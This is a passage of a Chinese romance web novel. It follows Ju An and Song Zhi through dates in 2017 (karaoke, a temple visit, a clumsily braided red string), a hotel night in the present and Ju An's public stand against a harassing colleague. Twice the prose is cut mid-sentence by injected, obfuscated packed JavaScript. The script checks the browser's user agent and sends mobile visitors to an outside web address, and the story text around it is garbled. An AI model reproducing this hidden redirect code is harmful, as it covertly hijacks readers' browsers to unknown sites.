韩婕看眼自己存零食的收纳盒已经见底,感觉心里拔凉拔凉的。 “网购不就好了。”雎安不当回事,毕竟2017的网购就很方便了。 “那你是不知道,学校的驿站是集装箱临时改造的,空间大,快递多,管理还不好,夏天闷里头找快递能把人闷死。”韩婕的语气夸张,面部表情更加夸张,“早几天,骑行社的黎师兄就中暑了。” “找快递中暑的?”刘礼晨觉得惊奇。 “是啊。”韩婕酣畅淋漓地吐槽完,心满意足地靠坐回座椅上。 “黎师兄?”雎安觉得这个名字有些耳熟,“是不是上次有和我们一起去张记鸡公煲的其中一个师兄啊?” 韩婕面色有些不自然,“对啊。” “他的全名是什么来着?” “黎海诺。” “哦~” 雎安收拾好东西,没再和她们聊下去,推门而出,直接无视了辅导员和舍友的劝告。 宋挚就等在宿舍楼下。 今天的他,身着葵扇黄的短袖衬衫和瓦灰色的长裤,比往常的穿衣风格要正式不少,很亮眼,很独特,明显是花了心思的。 而今天的她,身着一件满是枇杷花的印花的米黄色长裙,这件长裙是宋挚表白时送给她的礼物。 为此,她还特地去查了枇杷花的花语:陪伴、相思、关怀的爱。 “好漂亮。”宋挚发自内心地赞叹,视线根本无法从雎安身上挪开。 而雎安的唇角根本压不住,“你是说我,还是裙子?” 宋挚勾了勾唇角,“你比裙子美。” 雎安毕竟是恋爱纸老虎,一个小回合便有些招架不住,转移话题道:“谢谢~不过,我们真的能出校门吗?” “当然。”宋挚敲了敲身边的车,“我开我妈的车就可以进出学校,晚上点名前,再把你送回来就行。” “我们这是去哪?” 路上,雎安没忍住,再次发问。 宋挚笑了笑,还是没回答,直到车辆开进了嘉源广场的地下车库,他才问道:“安安,你饿吗?” 雎安摇头,心里对这个并不新奇的约会地点有些失望。 “那我们去唱歌吧。”宋挚扭头,表情很是得意,“先唱三小时?” 好吧,雎安不得不承认,听到是去唱歌的那刻,她很开心。 起初,和宋挚待在一个密闭空间里,她还有些拘谨。但当她发现宋挚并没有刻意制造肢体接触,反倒与她隔开一段距离,用满是爱意的眼睛注视着她,仿佛在说“快玩吧,我想看到你开心的模样”的时候。 她感受到了他对她的尊重和理解,他知道与她而言,他们的实际接触不多、是刚开始恋爱约会的小情侣,他需要有一定的分寸和距离。 他是如此得心细。 雎安的内心瞬间被安心和喜悦填满,她不再拘谨,开始手舞足蹈地唱歌,拉着宋挚又是对唱、又是演MV. 三个小时下来,欢乐的氛围让这个昏暗的密闭空间像被太阳直照般明亮而炽热。 “还要再唱吗?”宋挚问。 雎安嘟了嘟嘴,用右手扇着若有似无的风,“不唱了,这里的空调不够冷。而且,我也饿了。” 宋挚无奈一笑,想说“有没有可能,不是空调不够冷,而是你一直唱唱跳跳、强度像在做有氧运动呢?”。 但最终,他什么都没说,干脆利落地带着饥肠辘辘的她,去吃了昨天没能吃成的西餐。 “阿挚。” “嗯?” 餐间,宋挚突然听见雎安叫自己、称谓亲昵、语气认真,不由地向前探了探身子。 “你今天好帅~”雎安本想看着他的眼睛,大方而自然地夸赞他一番,最后却羞赧地低下了头,“你穿运动装的时候很有少年感,穿得比较正式的时候,却很成熟、很有魅力。” 这是雎安在今晨看到他的那一秒,就想说出口的夸赞,而此刻,她是看着木桌说完的。 她没去看宋挚,也想象得到他的表情和反应。 她将一块鱿鱼放进嘴里慢慢咀嚼,试图掩盖嘴边的笑意,然而,这种掩饰不过是欲盖拟彰,怎么可能瞒得过对她了如指掌的宋挚呢? 她当然知道,但她就喜欢这么做。 刚下过雨的华州,没有了前几天那股燥热难耐的气息,空气变成了冰冰凉的西瓜味,是独属于夏日的清新感。 雎安和宋挚下了车,漫步在蓉湖公园的廊道上。 廊道上有不少积水,两人不慎在意,目光不是在彼此身上、就是在绿意之间,好几次都扎实地踩进了水坑。 “寺庙里没什么人耶~”雎安踮起脚,粗略地看了眼。 “你想去?” 雎安摇头,“我只是感叹一句,平时这家寺庙都是很多人的。” “既然没什么人,就去看看吧。”宋挚极其自然地牵起雎安的手,两人穿过不断有水滴落的树林,“看看文创周边也不错。” 雨后的寺庙,绿叶上的落水打在岩灰色的瓦砖上,发出滴滴答答的声响,寺内的烟火香和泥泞气混在一起,沁入每个过路人的心肺,让当下的所见所感比往常更具禅意。 雎安在一个售卖红绳的摊位上停下脚步。 “这个要自己编的话,要多少钱?” 摊主的报价比雎安想象得要便宜,可以因为只有他们光顾的缘故,摊主极有耐心地教雎安便手绳,并不介入,而是一步一步地指导。 雎安很是紧张,因为这是她想编来送给宋挚的,她全神贯注、竭尽全力,希望可以编得像摊主售卖的成品般完美。 然而事实却是,过度追求完美,往往会比预期得还要差。 雎安和摊主看着交叉重合处那突兀而丑萌的推拉扣,双双陷入沉默。 雎安是失落,摊主则是怀疑起自己是不是哪里表达得不够清晰。 “很漂亮。”宋挚睁眼说瞎话,伸手将雎安手里的红绳一把夺走,“送我了。” “哪有自己索要的?!”雎安跳起来,试图夺回手绳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16515448|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,在意识到这互动很是暧昧,简直就是台偶惯用的让男女主亲亲贴贴的手段,而摊主也正以“磕到了”的表情看着他们时,雎安放弃抢夺,转变方法,改为软磨硬泡。 “阿挚,我再编一条新的给你,你把这条给我呗~” 宋挚结完账,在离摊位不到百米的位置,雎安便粘上来,打起了手绳的心思。 宋挚觉得好笑,猜想她一定不知道,她此刻就像紧盯着香肠的小狗狗,根本藏不住自己的实际目的。 “就这条好,很有意义。”宋挚刻意抬高手,晃了晃手绳,“这可是你第一次编绳。” “你是想以后拿这个手绳来取笑我吧。”雎安转变策略,将嘴翘得老高,“我难过了。” 宋挚无奈地摸了摸鼻子,转移话题道:“安安,我想上个厕所。” 他们走啊走,穿过一座岛,走过一座桥,来到了湖中心的小岛上,停在供游客休息的石凳旁,身侧是一个纪念品售卖商店,再往后,便是公共洗手间。 雎安没在原地等宋挚,而是往西北方向走,那有一座不足五米的小桥,小桥连接着一座叫作知心亭的凉亭,知心亭外便是蓉湖游船人数最多的湖面。 雎安记得这个亭子,这里是2026年,她和宋挚初遇的地方。 她的记忆里,她正是倚靠在眼前的这个栏杆上哭泣,也是从这个角度望出去,发现了躺在船上的宋挚。 “安安~” 一道清润的声音从身后传来,雎安尚未转身,却已闻到了栀子花的香气。 他暴露了。 雎安回头,假装什么都不知道,将眼睛瞪得浑圆,问道:“你去哪了?怎么去了这么久?” 宋挚歪头一笑,像在哄小孩子,声音温柔至极,“刚刚碰到了一个开着三轮车来卖花的阿姨。” 宋挚将藏在身后的栀子花束展现在雎安面前。 栀子花束包装得相当简陋,但丝毫不影响栀子花本身的洁白无瑕、芬芳馥郁。 “哇!”雎安双手接过,极为浓郁的花香扑鼻而来,“好香,我很喜欢~” 宋挚接连不断的礼物让雎安又惊喜又感动,但说实话,最让她感到心动的,反倒是他们并肩走在绿道上的时候。 周遭静谧,他们步伐一致向前,专注于当下的风景,聊着世俗意义上的“废话”,却不会让彼此的话落地,就算出现突然的沉默,也会相视一笑,带着独属于他们的默契,没有丝毫尴尬。 这是她幻想过很多次的画面,却又比她想象中的还要美好。比起大起大落的甜虐情节,她更容易被这种平凡却难得的美好而打动。 “怎么流泪了?” 宋挚指节分明的手划过她滑滑的脸蛋,用食指轻轻为她拭去那唯一的一滴眼泪。 雎安故意逗他,“哼!你趁机摸我脸。” 闻言,宋挚用小指故意碰了碰雎安的鼻尖,挑眉道:“那你又能怎样?” 好吧,她发现他有时候真挺欠的。 “安安~” 雎安还在想如何反驳反驳他,他宽大温热的手掌却已经包住了她小小的手,强行与她十指相扣。 他突然牵起她的手,引领她奔跑在绿茵道上。她竟也不觉得突兀,仅仅几秒的犹疑,便随着他肆意奔跑起来。 宋挚为了迁就雎安,迈的脚步小而慢,这不是他的教养,而是他的本能,他爱她的本能,就如同他此刻的目光,自然而然地粘在她身边。 他看她的秀发随风扬起,看她的低头嗅闻的动作俏皮生动,也看她抬头看向他时、眼眸明亮如星。 随着快门声响起,这一刻,被永久留存。 80. 调情 照片中的宋挚正牵着雎安飞奔在绿茵道上,雎安的大部分面容被洁白的栀子花和随风扬起的头发给遮挡,可即便如此,只一眼,宋挚却从脑海中描绘出了雎安被遮挡住的美丽面容和弯弯的笑眼。 “怎么样?拍得很不错吧?”大叔举着单反,贴近了些,得意洋洋地问道。 “拍得可真好。”宋挚扬唇一笑,从口袋里拿出手机,提议道:“大叔,我们加个微信吧。我想把这张照片给买下来,您看,一百可以吗?” 一张照片一百?! 雎安瞪大双眼,刚想出声讲价,却被大叔爽朗的笑声打断。 “我是来拍花花草草的,突然看到你们跑起来的样子,想起了我年轻的时候,也曾拉起爱人的手就不管不顾地往前跑。” 大叔有些感慨,但很快便收起情绪,“拍的时候本来就未经你们同意,怎么好意思收钱?不用钱!” 最后,在宋挚的坚持下,以大叔收下一个文创礼物终结了“战斗”。 “嘿,把我照片发给我。”雎安用手肘戳了下宋挚的侧腹,毫不客气道:“我要拿来做壁纸。” 雎安没有意识到,他们并肩的距离越来越近。此刻,她的左手正紧贴着宋挚的右手,她能感受到他灼热的体温,他能感知到那由凉凉的转为温热的触感。 然而,这回雎安并没有面红耳赤,不是因为她已经对肢体接触习以为常,而是她的注意力都在送至右手腕处的红绳上。 难怪她觉得眼熟! 细节上,雎安不敢肯定,但粗略看去,这条红绳和现实中宋挚戴的那条几乎一致。 不会错的,她对宋挚戴的那条红绳影响极深,因为那是她和他的初遇,哪怕只是后背,她也不敢过于明显地去观察他,所以她当时微微低着头,视线总落在他的手腕处。 而他的那条红绳,因为实在不好看,所以格外引人注目。 真是神奇的巧合~ 雎安在心里感叹。 “就这么不想给我?”宋挚发觉她一直在注意红绳,有些失落,“我真的很喜欢。” 他转了转手腕,“比起完美的商品,这个很独特、很有意义。” “它很衬你。”雎安抬起手,圆润的指尖轻轻地摩挲着他手腕处的肌肤,“送你了。” 这突如其来的调情让宋挚愣在原地,他感觉手腕处痒痒的,似有电流从那蔓延至全身,引起一阵酥麻。 雎安就是故意的,就是想看看宋挚会不会有什么可爱的反应。 结果让她很满意。 她发觉他嘴唇微张、面露惊色,耳根也红了。明明是如此高大健壮的男人,行为举止更是无处不体现出他的成熟和稳重。此刻,却像个情窦初开的少年,被喜欢的人调戏后展现出了呆滞和无措。 不知道,现实中的宋挚是不是也可以这样撩。 两人在外玩了一整天,心里虽然是越来越开心,身体却明显感觉到了疲惫,雎安提出去游戏厅玩一玩的时候,宋挚没让雎安逞强,如约在晚上八点前将雎安送回了宿舍。 雎安走到宿舍楼下的时候,回头看了眼并未离去的他,朝他笑了笑,说了句无声的“阿挚,晚安”,便转身进了宿舍。 这次,他们没有依恋的亲吻,也没有依依不舍的道别。因为他们很清楚,接下来的这个周末,从日升到日落,从早餐到晚餐,他们都会在一起,一起去探索这个世界。 虽然,期间雎安的父母多次打电话、发微信,以断掉她的生活费和不缴学费为威胁,怒不可遏地要求她回家。但雎安不为所动,以待在学校里是最安全为由,无视了父母的要求。 周一,雎安早起,下楼倒垃圾,顺带去食堂买了份酱香饼。 回程时,她心情没来由得格外好,晃动着手臂,脚步轻快爬着楼梯,嘴边还哼《TipToe》的副歌,兴许是她过于放松,当她在宿舍门前和沈遂行面面相觑时,沈遂行估计已经欣赏了好一会儿她的歌喉。 “你好,你是沈薇的哥哥吧?”雎安当什么都没发生过,脚步顿在隔壁宿舍门口,看着沈遂行手中的行李箱,问道:“是沈薇回来了?” 闻声,沈薇从宿舍里飞奔而出,“天哪,我终于回来了!我要是再不回来,就要死在家里了。” “什么?!”顷刻间,雎安的脑中浮现沈薇被父母殴打的画面,“你爸妈打你啊?” 兴许是没想到雎安会被这种抱怨的话当真,沈薇一时没反应过来,还是沈遂行先开的口,“怎么可能,就她爸妈疼她的那个劲,要不是担心你祸从口出,怎么会一直说你呢?” 沈薇嘟着嘴,明显是不服气,“可我真的在甘蔗林那看到了一双眼睛。” “那你就要到处说?”沈遂行走进宿舍,将行李箱放到沈薇的桌边,“就不怕惹祸上身?” 雎安和沈薇跟了进去,有空调的空间就是不一样,让人瞬间神清气爽。 “其实,我觉得你哥说得对。”雎安不无担忧地道:“凶手还没抓着呢,你在学校论坛上这么高调,万一被盯上的话,那怎么办?” 沈薇心倒挺大,不以为意道:“怕什么啊~我们在学校,又不出去。” “那可不一定,凶手指不定是学校里的人。” 此话一出,沈遂行意味深长地看了眼雎安,沈薇则猛地瞪大了眼睛,吃惊地问道:“什么?!凶手是我们学校的人吗?你哪来的小道消息?” 雎安松开沈薇抓着她的手,赶忙解释道:“可能!我的意思是有可能。毕竟案发地点离我们学校很近,事发前是可以随意进出的。至于小道消息,我哪有本事能弄来什么小道消息啊?” 话音刚落,沈薇嘴唇紧抿成一条线,用屁股猛地撞击雎安,虽然是玩笑性质的,但雎安还是被撞得连退几步,后脑勺差点撞到床架。 一旁的沈遂行双手插兜,表情淡淡地看着打闹的两人,即便雎安有倾倒之势,也并没有上手扶。 “你没事吧?”沈薇急忙上前,“对不起,我只是想和你开个玩笑。” 宿舍的床架子是新置的,十分硬朗,但整体做工并不细致,犄角旮旯处有些不规则的凸起。 雎安摸摸自己的后脑勺,惊魂未定,“没事,但你下次别这样了,吓我一大跳。” 沈薇颔首道:“抱歉,我是听到你开我的玩笑才这样的。还有,哥,你也真是的!雎安就在你身边,你都不扶一下!” 躺枪的沈遂行轻挑眉尾,手仍揣着兜,一边朝门外走,一边说:“你已经长大了,别犯了错就想着拉其他人出来顶罪。” 见沈遂行背对着她,沈薇握拳,对着他的背影,朝空气挥出了连环拳。 待沈遂行走远,附近没有了脚步声,她才抱怨道:“切,装好人,还不是为了送卢宇年回来,顺带送我的。我还不想和那个暴躁的祖宗坐一辆车呢,谁稀罕你送!” “雎安,雎安~”沈薇连叫好几声,雎安才回过神来。 她扯唇一笑,淡淡道:“没什么,你收拾收拾,我们得去上课了。” 除去这一个小插曲,雎安接下来两天的大学校园生活很是愉快,既没有在豆大的校园里碰见卢宇年,也没有再发生任何不好的事。 她有朋友一起嬉闹,有目标为之努力,还有珍贵的爱人陪伴。 即便她与宋挚在一起的时候,大部分时间都被商讨如何拯救她自己的计划、以及制定PlanB所占用,她仍然感受到了前所未有的满足和幸福。 她和他,是同盟的战友,即便面对的敌人是世人眼中不可改变的命运。 2017年9月12日,财神节,中午十一点。 距离雎安离开装置,还有30分钟。 “你害怕吗?” “嗯?” “回去以后,你会害怕吗?” 雎安和宋挚漫步在校道上,默契的同时迈出左脚,又同时在转弯时选择了左边。 漫步的路线,两人早已烂熟于心。 “害怕什么?”雎安不解。 “你要独自面对现实了。”宋挚的眸光渐暗。 雎安摇头,“我不是独自面对啊,不是还有你和宋教授吗?” 然而,她扬起的嘴角却微微下拉,还发出了一声沉重的鼻息,“再说了,独自面对又如何?我没什么好害怕的。自立自强,乃人之根本。我为之奋斗、力求改变的目标,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16525831|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的生命,还有我爱惜的人的未来,就算孤立无援,我也坚定地去做。” “没错,你确实会。” 宋挚眼眸低垂,眸中写满了心疼,语气却前所未有的强硬。 “之前的你便是选择独自面对,还搭上了自己的性命。这次,你不可以再那样,你答应我了,就必须做到。” 雎安看着他那双幽深的眼眸,眸中盈盈,似是一面湖水,湖面因为遭受强风袭击而波澜叠起。 她能明确地感受到,他不安的情绪此刻如波涛般汹涌、几近要吞噬他。 “放心吧,我是言而有信的人。”雎安一把挽住他,“更何况,既然能找宋教授和你帮忙,我为什么要凡事都靠自己?” 雎安俏皮地挑了挑眉。 宋挚却是担心,“但我记得很清楚,2023年的我还陷在情绪里,哪怕是亲人和朋友的友善靠近,我都很抵触。” “没事哒~”雎安笑眯眯地做了个扑倒的手势,“我又不是友善靠近,而是直接把你吃干抹净!你抵触也没用。” 宋挚毫无防备,被她姿态可爱到,又被她的话语冲击到,仰起头,深吸一口气后,笑道:“那我请你下手一定要狠,不要给我留情面。” 语毕,两人再次对上视线的那一刻,都“噗”地笑了出来。 突然,雎安注意到燕子低飞、近得仿佛抬手可触。她抬头,发现头顶的云层乌泱泱的一片,此刻的情景,让她不由地想到了小时候背过的李贺的诗句。 黑云压城城欲摧。 “安安,我们得走快点了。” 最近天气反复无常,经常前一秒太阳当空,热得人中暑晕倒,下一秒倾盆大雨,打得人措手不及。 “好。”雎安紧紧地挽着宋挚,两人快步往教学楼走去。 然而,他们的脚步远不及雨势快,在距离遮蔽处只有200米的空地上,双双变成了落汤鸡。 头发全湿,衣服也没好到哪里去,所幸两人穿的都是深色,衣服不至于变成透视装。 雎安看到不远处的教学楼的屋檐下有十几个人时,用力地向后扯了下宋挚的手臂。 “阿挚,反正我们都湿透了,不如去凉亭那吧,我不想和这么多人挤在一起。” “好。”宋挚没有任何犹豫,“听你的。” 雨势迅猛,眼前的事物仿佛蒙上了一层白雾,耳边是噼里啪啦的雨声,声音大得让他们逐渐听不清对方说的话。 雨打在身上凉凉的,雎安不禁打了寒噤。 宋挚感知到她的颤抖,将手从她怀中抽出,转而紧拥她入怀。 明明雨势这样大,她却好似听到了他的心跳声。 她想,兴许是她认错了,这或许是她的心跳声。 爱意随雨,倾盆而下,避无可避。 “怎么了?是觉得冷吗?” 两人终于抵达凉亭避雨,宋挚见雎安看着随风飘动的树叶发愣,轻声询问她的冷暖,担心她因此着凉。 “要不,我送你回宿舍吧。” “不要!”雎安的反应很是激烈,“我想和你待在一起。” 雨水堆积在屋檐上,某个时刻,轰然而下,像是她和他不受控的心跳、有力得像在她和他的耳边跳动。 “就快到时间了,我想和你待在一起。” 气氛变得有些低落。 “阿挚。” “嗯?” 他们并肩坐在凉亭里的美人靠上,望着眼前朦胧的景色,在心中发出美而惆怅的感叹。 “阿挚,你想我留下吗?” 宋挚呼吸一滞,刚要开口劝阻,却被雎安打断。 “如果你说想……” 雎安看着他深邃的眼睛,道:“我也不会留下。” 就像那天,他问她,想他留下吗?她说了不。 她解释道:“我不想成为任何人的负担。所以,等你处理好了你的事,再来找我吧~” 而她现在,已经收拾好了自己,不是任何外物,而是她的内心。 她要去找宋挚,还要…… “我要回到现实,夺回选择的主动权,主动开创属于我自己的未来!” 81. 270度尊豪爱侣江景房 “你是不是……和装置里的我发生了什么?” 宋挚太聪明,又太敏锐。 雎安知道自己迟早会暴露,毕竟她自己都能明显察觉到她的心态转变,下意识的语言和行为也发生了不小的变化,但她没想到会这么快。 “嗯。”她回应他那带有审视意味的目光,“我们在一起了。” 她的姿态落落大方,没有羞怯,也没有借此调情,仿佛在说“今天的天气不错”。 宋挚一时不知该作何反应。 “不对。”雎安勾起唇角,“是和装置里的你在一起了。” 几秒后,雎安感慨道:“你可真敏锐。” 宋挚垂眸,别开了眼,冷声提醒道:“别忘了第一天你来实验的时候,雨姐对你反复强调的那四个字。” 不是真的。 窗外车水马龙、异常繁忙,室内店员在不停地摇柠檬茶、不停地出单,明明噪音不断,雎安却觉得此刻静得可怕。 她冷嗤一声,使了些力,将桌上的手机翻了过来,“确实,那不关你事,这才和你有关。” 宋挚循声望去,发现屏幕上写的是“270度尊豪爱侣江景房”的详细介绍时,面色一顿,下意识向后仰。 “怎么样?”雎安极为仔细地观察着他的每一个表情变化,有种报复加调戏的快感,“喜欢吗?” 宋挚别开眼,“随便,我都行。” 雎安满意地收回手机,“那我就订这个了。” “150万,说少不少,说多也不多。我建议你好好规划规划,不要随意挥霍。” 一千二的套间,宋挚见她毫不犹豫地下了单、付了款,忍不住提醒她一句。 “俗话说,人生在于体验。” 雎安语气轻快,完全没把他的话当一回事,“我还没住过五星级酒店呢,正好体验体验。而且……我也不想委屈你和我挤在一个十二平的空间里。” 她现在住的酒店房间太小,过道放了一个行李箱后,空间就已经格外逼仄。 “对了,有的东西需要你来准备。” 店里还有店员和三两顾客,雎安不好直说,突然想起她包里还有上次吃炸鸡时顺手放进去的手套,遂伸手将手套从包里翻了出来,摆在宋挚面前。 “你知道的。” 手套随着空调风轻轻地往右移,宋挚的食指在触到它的瞬间,仿佛触到了什么烫手山芋般,火速收回了手。 雎安发现,他的脸和耳根都红透了。 真纯情,真难得,他可是连气急的时候都不怎么脸红耶。 雎安越发觉得有趣,身体微微前倾,胆大地想要再贴近他。 宋挚却像个毛头小子般应激,直接站起身,“我知道了,还有事,先走了。” 来时的攻势,荡然无存。 雎安看着他背影消失在人群中,心里既有丝甜蜜,又有些惆怅。 不知过了多久,她的手机突然震动。 是宋挚的来信:明晚八点,我会到。如果你后悔了,可以随时告诉我。 雎安却是笑了,心中惆怅也随之散去:嗯,我会提前发房间号给你。 按照约定,雎安今天下午要和沈薇一起去蓉湖公园的寺庙。可说实话,一想到沈薇未来会给她下毒,她心里就很膈应,就很想取消这次约会。 可不过半分钟,她转念一想,现在的她急着租房,而沈薇有两年的外地租房经验,肯定有不少避雷的建议,加上她最近确实倒霉,总碰到些不好的人和事,只要她对沈薇有所防备,当下还能借由她的资源来帮助自己。 最后,雎安决定赴约。 今天的天气很好,晴空万里。 现实中,雎安许久没来蓉湖公园了。这里的布局没变,细节处却与2017年相差甚远,加上天气状况截然不同,当下呈现出的是完全不同的韵味。 “哇,这里变了好多。”沈薇挽着雎安的手,感叹道:“我好久没来了,你呢?” 雎安笑了笑,“我也是。” 方才,从入口一路走到这,花了二十分钟,而这二十分钟,雎安都在询问租房的信息。 “哎~就是那个寺庙,在华州很有名,我记得他们有卖红绳,你要不要去看看?”沈薇提议道。 雎安当然无异议,说实话,她这回过来,还有好奇那个编绳摊位的缘故。 然而,现实却并没有那么神奇。 寺庙近几年的香火很旺,编绳摊位已经被取消,只有现成的手串和手绳售卖。 雎安有些失落,还原本她还想试试看,能不能再编出一个差不多的手绳。 “怎么?都不喜欢吗?”沈薇见雎安发愣,询问道。 雎安回过神来,选了寓意是“平安健康”的手串。 “这个不错,就它了。” 下午四点,沈薇提议去附近的商场喝下午茶,雎安以家里有事拒绝,而后鬼鬼祟祟地走到附近的华州大酒店,提前开好了房。 酒店的服务员带领着她到房门口,装潢比她想象得要豪华,图片中某些看起来很是老旧的装饰品,实物的质感却相当得好。 雎安站在房间的落地窗前,俯瞰蓉湖和华江的全景,以及摩天大楼和老城区形成的对比,一时间,有种特别想要奋斗的冲动。 这大概就是某些人奋斗的动力吧。 雎安收回视线,开始在房间里闲逛,原先一切都还好,直到她走进洗浴间,看到了落地窗前的大浴缸,脸一热,赶忙退了出去。 傍晚,雎安一边观赏着粉紫色的梦幻晚霞,一边吃着咖喱蛋包饭。 晚餐后,室内过于安静,放大了她的紧张和焦虑。 她打开电视,选了个搞笑综艺,将声音调大,开始在房间里踱步。 敲门声响起。 雎安顿在原地,第一反应是去看挂钟,整八点。她深吸一口气,快步走到门前,将门把手用力往下一压。 “是你叫的跑腿吗?”一个穿着黄色冲锋衣的高挑女人问道:“这里写的是一件男士短袖。” 雎安见状,放松下来,“是我买的。” 随后,她将尾号报给女人,女人确认无误后离开。 雎安打开袋子,看了眼这件八百多的短袖,发出一声感叹,“吓我一跳。” “谁吓到你了?”宋挚突然出现在房门口,“我是受邀的人,总不能是我吧?” 雎安捂着胸口,身体微微后仰,完全是一副无法辩解的受惊模样。 “为什么要买男士短袖?”宋挚没打算听她解释,直接从她身边挤过去,进了房间,毫不客气的男主人做派。 他叹了口气,“我觉得……还是不要撕衣服,比较好。” “……” 雎安愣了好一会儿,直到脸红透了,心跳快得像是在蹦迪,才想起来关门进房间。 “不是这样的。”雎安拎着袋子,快步走到宋挚面前,“这是送给你的礼物。” 怕他误会礼物的用意,她又补充道:“我只是觉得,我还没送过你礼物。” “没给我送过礼物,不是很正常吗?” 今晚的宋挚,格外呛人。 “我们又不是什么亲密的人。” 他不看雎安,将一大袋东西放在桌面上,垂眸整理着东西。 “今晚就是了。”雎安的不服气一下上头,挑衅般问道:“东西带了吗?” 闻言,宋挚挑了挑眉尾,伸手进袋子里,将一包黄色的方形小东西从一堆零食里翻出来,扔在了洁白的床单上。 雎安方才还一副天不怕、地不怕的模样,可逐渐的,却泄了气。 她倒不是怕,是过度紧张和过度激动导致的心跳过快、大脑混乱。 “我从家里拿了瓶红酒过来,待会儿喝点吧。”宋挚轻易看穿了她的纸老虎做派,主动缓和道。 雎安却是不领情,“我不要。” “我不喝酒。” 她的父母教育她,不能随便和男生喝酒。哪怕是当下这个情形,她的潜意识帮助她快速完成了拒绝。 “你确定?”宋挚低低一笑,语气多了几分轻佻和散漫,“难倒……你不喜欢废话,想我脱衣服?” “不!” 雎安下意识 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宋挚微微皱眉,看她的样子,像是有些困了,却不像是醉了。 她在装醉。 “不给。”他故意将手收到身后,声音也强硬了几分。 雎安一愣,慢慢地坐起身,扑到他身后,用双手强硬地掰开他扣紧的手。 说时迟,那时快,她抓住他的双肩,一把将他放倒。 “牵手!”雎安伸手,强行和宋挚五指相扣。 “……” 宋挚见她这么想牵,索性从了她。 两人躺倒在床上,电视的纪录片恰巧播到动物静下来、屏息狩猎的片段,在能听见彼此的呼吸声的氛围下,她和他却像是躺在一片广阔的草地上的朋友,有种慵懒的惬意感。 “你是不是醉了?”宋挚侧过身躺着,观察她的神态,心中已有答案。 “没有。”雎安用力摇头,也侧过身来,而后嘿嘿嘿地笑。 宋挚微不可查地叹了口气。 雎安不满,“不许叹气!” “好~” 原先为了更具氛围感地欣赏日落和夜景,雎安只开了两盏床头灯,此时天色大暗,窗外霓虹闪烁,斑驳陆离的光线透进室内,与灯盏透出的昏黄光线交缠在一起,姿态缱绻旖旎。 宋挚感受到了雎安直白而炽热的目光,喉结不受控地滚动,周身变得有些热。 一定是酒起作用了。 宋挚别开眼,假装观赏起窗外的霓虹灯,就算这些灯,与从他家望出去的模样大差不差、无甚新意。 时间流逝,不知过了多久,宋挚察觉到雎安在慢慢松手,原先她那握得极紧的力度,甚至让他觉得手指的血液有阻塞感。 此刻,她的手却在卸力。 “阿挚~” 突然听到这个称呼,宋挚的心跳漏了一拍。 “阿挚,你是不是……讨厌我?” 她的声音微哑,像是极困时发出的声音,也像委屈到极致时发出的声调。 他没回应她。 她得寸进尺,还强迫他,他该讨厌她,甚至憎恶她。 这才符合常理。 眨眼间,雎安的手彻底卸了力,出于惯性,有往回收的动迹,却因为五指相扣受阻,只有拇指指尖触到了宋挚的手心,像羽毛轻落,若有似无,很轻、很痒。 这让宋挚不受控地想起昨晚,他待在漆黑的房间里,隐在黑暗中,任由自己陷入想象,放纵欲望将理智吞噬,待他意识到自己方才做了什么的时候,他羞耻,他懊悔,他恐惧,因为这和他从小接受到的关于爱和性教育背离。 他不爱她,却对她有难以启齿的想象,和如此强烈难耐的渴望。 宋挚不能接受,却再一次不受控地想起了她,想起了她刚刚用力牵着他的时候,他因为不喜束缚感和被迫感而选择不回应,却又在她卸力时,感觉心里空落落的。 纠结再三,他终于开了口。 “其实……我并不排斥你,真的。” 82. 综上所述,老娘不干了! 心脏声一阵强过一阵,宋挚转头,小心翼翼地观察雎安的表情,看到的却是她恬静的睡颜。 她居然睡着了! 一时间,宋挚不知道自己是何心情,无奈地挑了挑眉,轻轻抽回手,缓慢地站起身,帮她调整好位置、盖好了被子。 ———————— “哟~”廖欣极为敏锐地捕捉到了雎安的不对劲,“你看起来春光满面的,最近是有什么好事?” “没什么。”雎安摇头,面上的喜色却是遮都遮不住。 廖欣见她不愿意分享,便也不再追问,回了自己的办公室,一个小时后,直到听到外边起了争执,她才走了出来。 “谁允许你对我动手动脚的?!”雎安的声音洪亮,站在戴总办公室的门前高喊,并非歇斯底里,而是一副据理力争的模样。 戴清见状,竟带着微笑从办公室里快步走了出来,“雎安,你说话怎么这么夸张啊?” 卢宇年也跟了出来,一副满不在意的模样,讥笑道:“不就夸了句你腿好看,不小心碰了下手背,不知道的还以为你被□□了呢~” 他的这副嘴脸,像极了当年的吴珺,将自己的问题化小化了、一笔带过,嘲笑她一惊一乍,再拿个会“玷污”她名声的罪名来恐吓她。 “你。”雎安,“上周给我送过花,今天撺掇戴总把我调去你那间刚注册的破公司,刚刚还故意制造身体接触。这些行为结合在一起,可以总结在八个字。” 办公室的人其实都想看热闹,但奈何戴总在场,都假装在做别的事,不敢正大光明地看,直到雎安居然敢在这么多人面前控诉卢宇年,终于忍不住地直接看起热闹来。 “居心叵测,臭不要脸!” 雎安的五官其实偏柔和,但此刻她坚定的话语、犀利的眼神、冷静的姿态都让她特别的锐利,浑身散发着“老娘不好惹”的气场。 “送花是我表达对你外貌和身材的欣赏。”卢宇年被激怒,上前两步,隔空指着雎安的鼻子,“像你这么……” 雎安打断他,“谢谢!” “什么?”卢宇年一脸懵。 “我知道我有魅力,你可以表达你对我的欣赏,但不能让我感到不适。”雎安转身,走到自己的工位上,“如果让我感到不适,那一定是你的错!” 